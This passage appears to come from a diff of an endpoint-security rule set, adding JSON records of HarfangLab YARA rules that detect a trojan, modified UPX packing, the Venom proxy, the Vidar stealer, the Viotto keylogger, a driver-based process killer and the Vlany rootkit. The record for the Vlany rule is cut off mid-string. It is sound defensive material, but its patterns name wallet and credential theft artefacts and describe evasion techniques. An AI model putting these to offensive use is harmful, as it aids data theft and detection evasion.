48 89 D0                      // mov     rax, rdx\n            48 01 C0                      // add     rax, rax\n            48 01 D0                      // add     rax, rdx\n            48 C1 E0 03                   // shl     rax, 3\n            48 01 C1                      // add     rcx, rax\n            48 8B 01                      // mov     rax, [rcx]\n            48 8B 51 08                   // mov     rdx, [rcx+8]\n            48 89 45 A0                   // mov     [rbp+120h+var_180], rax\n            48 89 55 A8                   // mov     [rbp+120h+var_178], rdx\n            48 8B 41 10                   // mov     rax, [rcx+10h]\n            48 89 45 B0                   // mov     [rbp+120h+var_170], rax\n            48 8B 45 A8                   // mov     rax, [rbp+120h+var_178]\n            48 89 85 C8 00 00 00          // mov     [rbp+120h+var_58], rax\n            48 8B 85 00 01 00 00          // mov     rax, [rbp+120h+var_20]\n            48 8D 14 C5 00 00 00 00       // lea     rdx, ds:0[rax*8]\n            48 8B 85 D8 00 00 00          // mov     rax, [rbp+120h+var_48]\n            48 8D 1C 02                   // lea     rbx, [rdx+rax]\n            48 8B 85 C8 00 00 00          // mov     rax, [rbp+120h+var_58]\n            48 89 C1                      // mov     rcx, rax\n            E8                            // call    drunk_strdup\n        }\n\n    condition:\n        all of ($string*) or\n        3 of ($function*) or\n        3 of ($json*) or\n        $get_priv or\n        $json_parse_packet\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "unknown_trojan_02d60f98fde4"
+  ],
+  "rule_creation_date": "2025-11-18",
+  "rule_modified_date": "2025-11-19",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Unknown"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1132.001",
+    "attack.t1134.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-upx_modified_0df8b9726b10_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586695Z",
+  "creation_date": "2026-03-23T11:46:25.586697Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586703Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html\nhttps://github.com/NozomiNetworks/upx-recovery-tool\nhttps://attack.mitre.org/techniques/T1027/002/"
+  ],
+  "name": "upx_modified_0df8b9726b10.yar",
+  "content": "rule upx_modified_0df8b9726b10 {\n    meta:\n        title = \"Modified UPX-packed Binary (0df8b9726b10)\"\n        id = \"f1034293-63c3-4ed1-83bb-0df8b9726b10\"\n        description = \"Detects modified UPX-packed 64-bit binaries.\\nThis rule identifies binaries packed with non-standard UPX versions, which are often used by adversaries to evade analysis and detection.\\nNon-standard UPX packing can prevent automated unpacking tools from extracting the original payload, as seen in campaigns like Mirai.\"\n        references = \"https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html\\nhttps://github.com/NozomiNetworks/upx-recovery-tool\\nhttps://attack.mitre.org/techniques/T1027/002/\"\n        date = \"2024-09-12\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.002\"\n        classification = \"Linux.Generic.UPXModified\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049\n        // 4a719439027a279b14a05d650691bed6e0a437ae87fb55895406616a55c6c720\n        // f6036209fb853abeae000802cbd724fcc4bf6e8586a299a1459f87f46c23d2ad\n        // 3ef65ce27d39b037d75bdc16b197e04f3b391f76c2da5f2f755e2ded38bb9078\n\n        $ep_0 = {\n            E8 ?? ?? ?? ??                        // call    loc_10B760\n            55                                    // push    rbp\n            53                                    // push    rbx\n            51                                    // push    rcx\n            52                                    // push    rdx\n            48 01 FE                              // add     rsi, rdi\n            56                                    // push    rsi\n            48 89 FE                              // mov     rsi, rdi\n            48 89 D7                              // mov     rdi, rdx\n            31 DB                                 // xor     ebx, ebx\n            31 C9                                 // xor     ecx, ecx\n            48 83 CD FF                           // or      rbp, 0FFFFFFFFFFFFFFFFh\n            E8 ?? ?? ?? ??                        // call    sub_10B600\n        }\n\n        $ep_1 = {\n            E8 ?? ?? ?? ??                        // call    loc_4B5A68\n            55                                    // push    rbp\n            53                                    // push    rbx\n            51                                    // push    rcx\n            52                                    // push    rdx\n            48 01 FE                              // add     rsi, rdi\n            56                                    // push    rsi\n            41 80 F8 0E                           // cmp     r8b, 0Eh\n            0F ?? ?? ?? ?? ??                     // jnz     loc_4B599B\n            55                                    // push    rbp\n            48 89 E5                              // mov     rbp, rsp\n            44 8B 09                              // mov     r9d, [rcx]\n        }\n\n    condition:\n        uint32(0)== 0x464c457f and\n        for any i in (0 .. uint16(0x38)) : (\n            0x00000005 == uint32(uint32(0x20) + (uint16(0x38) * i) + 4) and\n            for any of ($ep_*):($ at uint32(0x18) - uint32(uint32(0x20) + (uint16(0x36) * i) + 16))\n        )\n        and\n        (\n            uint32(filesize - 0x24) == uint32(uint16(0x38) * uint16(0x36) + uint16(0x34) + 4) and\n            not 0x21585055 == uint32(uint16(0x38) * uint16(0x36) + uint16(0x34) + 4)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "upx_modified_0df8b9726b10"
+  ],
+  "rule_creation_date": "2024-09-12",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Generic.UPXModified"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-upx_modified_87e12265bc58_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576947Z",
+  "creation_date": "2026-03-23T11:46:25.576949Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576955Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html\nhttps://github.com/NozomiNetworks/upx-recovery-tool\nhttps://attack.mitre.org/techniques/T1027/002/"
+  ],
+  "name": "upx_modified_87e12265bc58.yar",
+  "content": "rule upx_modified_87e12265bc58 {\n    meta:\n        title = \"Modified UPX-packed Binary (87e12265bc58)\"\n        id = \"cd466c14-57e0-49c1-8315-87e12265bc58\"\n        description = \"Detects modified UPX-packed 32-bit binaries.\\nThis rule identifies binaries packed with non-standard UPX versions, which are often used by adversaries to evade analysis and detection.\\nNon-standard UPX packing can prevent automated unpacking tools from extracting the original payload, as seen in campaigns like Mirai.\"\n        references = \"https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html\\nhttps://github.com/NozomiNetworks/upx-recovery-tool\\nhttps://attack.mitre.org/techniques/T1027/002/\"\n        date = \"2024-09-12\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.002\"\n        classification = \"Linux.Generic.UPXModified\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 4e0bd6c7edffb147bfc03ec5acecefd01afde6990f9f36b02b53e780509c1ef5\n        // fa6e9fa320810064fe960965c5e6cb549c8edbb920ccbe54d5aab19c3d1f2299\n        // e9fd0bd2f053aadcfb23a23f0bb0effe60c22d06f9ecb2a35a49f6f0aec38173\n        // e22ddcc0bc26fbee04307d635fdb430445512e7f63df1de7643ecbc4f6aba6f8\n\n        $ep = {\n            50                                    // push    eax\n            E8 ?? ?? ?? ??                        // call    loc_8061420\n            EB 0E                                 // jmp     short loc_806127E\n            5A                                    // pop     edx\n            58                                    // pop     eax\n            59                                    // pop     ecx\n            97                                    // xchg    eax, edi\n            60                                    // pusha\n            8A 54 24 20                           // mov     dl, [esp+20h]\n            E9 ?? ?? ?? ??                        // jmp     loc_806136B\n\n                                    // loc_806127E:\n            60                                    // pusha\n        }\n\n    condition:\n        uint32(0)==0x464c457f and\n        for any i in (0 .. uint16(0x2C)) : (\n            0x00000005 == uint32(uint32(0x1C) + (uint16(0x2A) * i) + 24) and\n            $ep at uint32(0x18) - uint32(uint32(0x1C) + (uint16(0x2A) * i) + 8)\n        )\n        and\n        (\n            uint32(filesize - 0x24) == uint32(uint16(0x2C) * uint16(0x2A) + uint16(0x28) + 4) and\n            not 0x21585055 == uint32(uint16(0x2C) * uint16(0x2A) + uint16(0x28) + 4)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "upx_modified_87e12265bc58"
+  ],
+  "rule_creation_date": "2024-09-12",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Generic.UPXModified"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.002"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-venomproxy_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573360Z",
+  "creation_date": "2026-03-23T11:46:25.573362Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573368Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Dliv3/Venom\nhttps://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms\nhttps://attack.mitre.org/techniques/T1090/003/"
+  ],
+  "name": "venomproxy.yar",
+  "content": "rule venomproxy {\n    meta:\n        title = \"Venom Proxy\"\n        id = \"6823ef1b-1469-4539-860e-4d2f39ac24a2\"\n        description = \"Detects the Venom Proxy Hacktool, a multi-hop proxy used by penetration testers.\\nIt is designed to proxy network traffic through multiple internal layers, particularly targeting IoT devices with limited resources.\\nIt is recommended to investigate the context around the usage of this tool to determine whether its presence on the host is legitimate.\"\n        references = \"https://github.com/Dliv3/Venom\\nhttps://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms\\nhttps://attack.mitre.org/techniques/T1090/003/\"\n        date = \"2024-01-08\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1090.003\"\n        os = \"Windows,Linux,MacOS\"\n        classification = \"HackTool.VenomProxy\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3916ba913e4d9a46cfce437b18735bbb5cc119cc97970946a1ac4eab6ab39230\n        // ab43a5e96e31fd9a2ac604c063b402cbf329e0bf842fa5073c74d3f756a06f94\n\n        $venom = \"github.com/Dliv3/Venom\" ascii wide\n\n    condition:\n        #venom > 3\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "venomproxy"
+  ],
+  "rule_creation_date": "2024-01-08",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.VenomProxy"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vidar_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577779Z",
+  "creation_date": "2026-03-23T11:46:25.577781Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577787Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1587/001/\nhttps://attack.mitre.org/techniques/T1539/\nhttps://attack.mitre.org/techniques/T1087/\nhttps://attack.mitre.org/techniques/T1095/\nhttps://twitter.com/GossiTheDog/status/1582690317886578688"
+  ],
+  "name": "vidar_stealer.yar",
+  "content": "rule vidar_stealer {\n    meta:\n        title = \"Vidar Stealer\"\n        id = \"90f2167f-c143-4e5f-adfb-330bd8bfc585\"\n        description = \"Detects the Vidar Stealer.\\nVidar is a sophisticated credential stealer that targets banking credentials, cryptocurrency wallets, and browser-based authentication information. It employs various techniques to extract sensitive data from infected systems, including direct process injection and browser-based attacks.\\nVidar is known to use obfuscation techniques to avoid detection and operates with a modular structure that enhances its capabilities.\\nIt is recommended to perform a thorough investigation to identify any stolen credentials as well as to force a reset of the user's domain credentials.\"\n        references = \"https://attack.mitre.org/techniques/T1587/001/\\nhttps://attack.mitre.org/techniques/T1539/\\nhttps://attack.mitre.org/techniques/T1087/\\nhttps://attack.mitre.org/techniques/T1095/\\nhttps://twitter.com/GossiTheDog/status/1582690317886578688\"\n        date = \"2022-10-20\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1587.001;attack.t1539;attack.t1087;attack.t1095\"\n        classification = \"Windows.Stealer.Vidar\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 725ca9e0571a6651e1bcf7dcf5d921fb004e753d67bfd135bd61f178b8aa5e4c\n        // 69626fbeef10445942c756a5cf325ff0f5ae7b571b436ab169d0680bd3d945c2\n\n        $crypto_1 = \"Leap Terra\" fullword\n        $crypto_2 = \"Martian Wallet\" fullword\n        $crypto_3 = \"Petra Wallet\" fullword\n        $crypto_4 = \"Pontem Wallet\" fullword\n        $crypto_5 = \"GeroWallet\" fullword\n        $crypto_6 = \"OKX Web3 Wallet\" fullword\n\n        $paths_1 = \"*wallet*.dat\" fullword\n        $paths_2 = \"\\\\Autofill\\\\%s_%s.txt\" fullword\n        $paths_3 = \"\\\\History\\\\%s_%s.txt\" fullword\n        $paths_4 = \"\\\\Downloads\\\\%s_%s.txt\" fullword\n        $paths_5 = \"%s\\\\%s\\\\%s\\\\chrome-extension_%s_0.indexeddb.leveldb\" fullword\n\n        $strings_1 = \"delays.tmp\" wide fullword\n        $strings_2 = \"avghookx.dll\" wide fullword\n        $strings_3 = \"https://t.me/\" ascii\n        $strings_4 = \"https://steamcommunity.com/profiles/\" ascii\n        $strings_5 = \"Content-Disposition: form-data; name=\\\"token\\\"\" ascii fullword\n        $strings_6 = \"Work Dir: In memory\" ascii fullword\n\n        $config = {\n            5b 48 61 72 64 77 61 72 65 5d 0a 00 01              // [Hardware]\n            50 72 6f 63 65 73 73 6f 72 3a 20 00 01              // Processor:\n            43 6f 72 65 73 3a 20 00 01                          // Cores:\n            54 68 72 65 61 64 73 3a 20 00 01                    // Threads:\n            52 41 4d 3a 20 00 01                                // RAM:\n            56 69 64 65 6f 43 61 72 64 3a 20 00 01              // VideoCard:\n            5b 50 72 6f 63 65 73 73 65 73 5d 00 01              // [Processes]\n            5b 53 6f 66 74 77 61 72 65 5d 00 01                 // [Software]\n            69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 74 78 74 00 01  // information.txt\n        }\n\n    condition:\n        (2 of ($crypto_*) and 2 of ($paths_*)) or\n        (2 of ($crypto_*) and 4 of ($strings_*)) or\n        (all of ($strings_*)) or\n        (\n            $config and\n            (\n                2 of ($crypto_*) or\n                2 of ($paths_*) or\n                2 of ($strings_*)\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "vidar_stealer"
+  ],
+  "rule_creation_date": "2022-10-20",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Vidar"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539",
+    "attack.t1095",
+    "attack.t1587.001",
+    "attack.t1087"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-viotto_keylogger_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569052Z",
+  "creation_date": "2026-03-23T11:46:25.569054Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569060Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://breakingsecurity.net/viottokeylogger/\nhttps://attack.mitre.org/techniques/T1056/001/"
+  ],
+  "name": "viotto_keylogger.yar",
+  "content": "rule viotto_keylogger {\n    meta:\n        title = \"Viotto Keylogger\"\n        id = \"4bc8a45f-6c3e-447a-bb79-d82b509faa89\"\n        description = \"Detects the Viotto keylogger.\\nViotto is a sophisticated keylogger designed for Windows that captures keystrokes, clipboard data, and system activity. It is capable of recording sensitive information such as login credentials, banking details, and other keystroke data, which can then be exfiltrated for malicious purposes.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://breakingsecurity.net/viottokeylogger/\\nhttps://attack.mitre.org/techniques/T1056/001/\"\n        date = \"2023-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.credential_access;attack.t1056.001\"\n        classification = \"Windows.Keylogger.Viotto\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 74997d3d414d1db55e5c45766801d75fe6939c3fee5caf35daec55f249af990a\n\n        $s1 = \"Keylogger initialization failure: error\" ascii fullword\n        $s2 = \"{User was idle for\" ascii fullword\n        $s3 = \"* ViottoKeylogger v\" ascii fullword\n        $s4 = \"Keylogger Started\" wide fullword\n        $s5 = \"[%04i/%02i/%02i %02i:%02i:%02i\" wide fullword\n\n    condition:\n        4 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "viotto_keylogger"
+  ],
+  "rule_creation_date": "2023-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Keylogger.Viotto"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-viragt64-Killer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576081Z",
+  "creation_date": "2026-03-23T11:46:25.576083Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576089Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer/\nhttps://www.loldrivers.io/drivers/7edb5602-239f-460a-89d6-363ff1059765/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "viragt64-Killer.yar",
+  "content": "rule viragt64_killer {\n    meta:\n        title = \"Viragt64-Killer HackTool\"\n        id = \"cc70eb8a-14b9-4613-8083-218119e876dc\"\n        description = \"Detects Viragt64-Killer, a tool that uses the viragt64.sys vulnerable driver to terminate protected processes.\\nThis tool loads the driver and utilizes its capabilities to specifically target and kill the specified processes, potentially evading security measures by terminating protected or critical system processes.\\nIt is recommended to isolate the affected system and perform a detailed investigation to identify any unauthorized process termination and to remediate the root cause.\"\n        references = \"https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer/\\nhttps://www.loldrivers.io/drivers/7edb5602-239f-460a-89d6-363ff1059765/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        classification = \"Windows.HackTool.Viragt64Killer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 0ba8546c6f8e7838c7c9b7d94a72641d49809c9d3ac7592157e1b994dcc07659\n\n        $device = \"\\\\\\\\.\\\\viragtlt\" wide ascii\n        $winapi_01 = \"CreateFile\" wide ascii\n        $winapi_02 = \"DeviceIoControl\" wide ascii\n        $winapi_03 = \"CreateToolhelp32Snapshot\" wide ascii\n        $winapi_04 = \"Process32First\" wide ascii\n        $winapi_05 = \"Process32Next\" wide ascii\n        $winapi_06 = \"OpenSCManager\" wide ascii\n        $winapi_07 = \"OpenService\" wide ascii\n        $winapi_08 = \"StartService\" wide ascii\n        $winapi_09 = \"CreateService\" wide ascii\n        $IOCTL_kill = { (82 73 00 30|30 00 73 82) }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "viragt64_killer"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Viragt64Killer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-vlany_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572403Z",
+  "creation_date": "2026-03-23T11:46:25.572405Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572411Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/mempodippy/vlany/"
+  ],
+  "name": "vlany.yar",
+  "content": "rule linux_library_rootkit_vlany {\n    meta:\n        title = \"Vlany Rootkit\"\n        id = \"ba361fba-c795-4a9a-8562-5d2debba71d8\"\n        description = \"Detects the Vlany Rootkit.\\nVlany is a userland rootkit that uses LD_PRELOAD to inject malicious payloads by hijacking environment variables used by the dynamic linker to load shared libraries.\\nThis enables attackers to intercept and control most function calls, establishing persistence and elevation of privilege on the system.\"\n        references = \"https://github.com/mempodippy/vlany/\"\n        date = \"2023-12-12\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.004;attack.persistence;attack.t1574.006;attack.defense_evasion;attack.t1014;attack.t1070;attack.t1564;attack.credential_access;attack.t1556;attack.command_and_control;attack.t1095\"\n        classification = \"Linux.Rootkit.Vlany\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $a0 = \"VLANY_USER\" ascii\n        $a1 = \"VLANY_PASSWORD\" ascii\n        $a2 = \"HIDDEN_XATTR_1_STR\" ascii\n        $a3 = \"FAKEMAPS_FILE\" ascii\n        $a4 = \"[vlany] 